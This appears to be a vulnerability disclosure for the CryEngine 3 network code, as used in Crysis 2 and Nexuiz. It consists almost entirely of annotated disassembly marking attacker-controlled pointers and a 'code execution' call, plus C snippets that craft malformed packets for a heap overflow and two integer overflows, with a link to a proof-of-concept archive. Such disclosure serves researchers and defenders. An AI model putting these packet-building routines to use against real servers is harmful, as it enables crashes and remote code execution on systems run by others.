CryEngine 3 multiple vulnerabilities (tested with CryEngine 3 freesdk 3.4.5.6666, Crysis 2 1.9.0.0, Nexuiz 3.4.1.4418) |
Proof-of-concept code aluigi.org/poc/cryengine3_1.zip |
39519F23 MOV EAX,DWORD PTR DS:[ESI] 39519F25 AND EAX,FFFFFFFC 39519F28 MOV EAX,DWORD PTR DS:[EAX] ; controlled 39519F2A AND ECX,FFFFFFFC 39519F2D MOV ECX,DWORD PTR DS:[ECX] 39519F2F CMP EAX,ECX ; must match, try 2 39519F31 JGE SHORT CryNetwo.39519F47 39519F33 MOV AL,1 39519F35 POP ESI 39519F36 MOV ECX,DWORD PTR SS:[ESP+1C] 39519F3A MOV DWORD PTR FS:[0],ECX 39519F41 ADD ESP,28 39519F44 RETN 8 39519F47 JNZ CryNetwo.3951A094 39519F4D LEA ECX,DWORD PTR SS:[ESP+10] 39519F51 MOV DWORD PTR SS:[ESP+C],EDX 39519F55 CALL CryNetwo.395B7DE0 39519F5A MOV DWORD PTR SS:[ESP+28],0 39519F62 MOV DWORD PTR SS:[ESP+10],CryNetwo.39647> 39519F6A MOV DWORD PTR SS:[ESP+14],CryNetwo.39647> 39519F72 MOV DWORD PTR SS:[ESP+18],CryNetwo.39647> 39519F7A MOV DWORD PTR SS:[ESP+1C],CryNetwo.39637> 39519F82 MOV DWORD PTR SS:[ESP+28],1 39519F8A MOV DWORD PTR SS:[ESP+10],CryNetwo.39647> 39519F92 MOV DWORD PTR SS:[ESP+14],CryNetwo.39647> 39519F9A MOV DWORD PTR SS:[ESP+18],CryNetwo.39637> 39519FA2 MOV DWORD PTR SS:[ESP+1C],CryNetwo.39637> 39519FAA MOV DWORD PTR SS:[ESP+28],2 39519FB2 MOV DWORD PTR SS:[ESP+10],CryNetwo.39647> 39519FBA MOV DWORD PTR SS:[ESP+14],CryNetwo.39637> 39519FC2 MOV DWORD PTR SS:[ESP+18],CryNetwo.39637> 39519FCA MOV DWORD PTR SS:[ESP+1C],CryNetwo.39637> 39519FD2 MOV DWORD PTR SS:[ESP+28],3 39519FDA MOV DWORD PTR SS:[ESP+10],CryNetwo.39637> 39519FE2 MOV DWORD PTR SS:[ESP+14],CryNetwo.39637> 39519FEA MOV DWORD PTR SS:[ESP+18],CryNetwo.39637> 39519FF2 MOV DWORD PTR SS:[ESP+1C],CryNetwo.39637> 39519FFA MOV DWORD PTR SS:[ESP+28],4 3951A002 MOV EDX,DWORD PTR DS:[ESI] ; get pointer 3951A004 LEA EAX,DWORD PTR SS:[ESP+8] 3951A008 PUSH EAX 3951A009 ADD ESI,4 3951A00C AND EDX,FFFFFFFC 3951A00F MOV EDX,DWORD PTR DS:[EDX+10] ; get pointer 3951A012 LEA ECX,DWORD PTR SS:[ESP+14] 3951A016 PUSH ESI 3951A017 PUSH ECX 3951A018 CALL EDX ; code execution |
// packet fragments heap overflow for(i = 0; i < 64; i++) { p = buff; p += putxx(p, crysis_set_type(0x93), 8); p += putxx(p, i, 8); // they must be different p += putxx(p, 0xff, 8); // they must be different p += putcc(p, 'a', BUFFSZ - (p - buff)); len = send_recv(sd, buff, p - buff, NULL, 0, &peer, 0); sleepms(100); } |
395C8C6D |MOV ECX,DWORD PTR DS:[EAX] ; packet size 395C8C6F |SUB ECX,3 ; integer overflow 395C8C72 |PUSH ECX ; /n 395C8C73 |ADD EBX,3 395C8C76 |ADD EBP,ESI 395C8C78 |LEA EAX,DWORD PTR DS:[EDX+EBP+25] 395C8C7C |PUSH EBX ; |src 395C8C7D |PUSH EAX ; |dest 395C8C7E |CALL <JMP.&MSVCR100.memcpy> ; \memcpy |
// Packet fragment integer overflow p = buff; p += putxx(p, crysis_set_type(0x93), 8); p += putxx(p, 0, 8); len = send_recv(sd, buff, p - buff, buff, BUFFSZ, &peer, 0); |
395E9FD4 |CMP DWORD PTR SS:[ESP+390],25 ; check packet size 395E9FDC |JNB SHORT CryNetwo.395E9FF4 ... 395EA22D |LEA EBP,DWORD PTR DS:[ESI+2D] ; integer overflow 395EA230 |SUB ESI,EBP 395EA232 |ADD ESI,DWORD PTR SS:[ESP+390] ... 395EA279 |PUSH ESI ; /n 395EA27A |PUSH EBP ; |src 395EA27B |PUSH EBX ; |dest 395EA27C |CALL <JMP.&MSVCR100.memcpy> ; \memcpy |
// ConnectionSetup integer overflow p = buff; p += putxx(p, crysis_set_type(0x08), 8); p += putxx(p, build_ver, 32); p += putxx(p, 9, 32); p += putxx(p, 3, 32); p += putxx(p, 3, 32); p += putxx(p, proto_ver, 32); p += putcc(p, 'a', 4 + 4 + 4 + 4 + (7)); // result: memcpy 0xffffffff len = send_recv(sd, buff, p - buff, buff, BUFFSZ, &peer, 0); |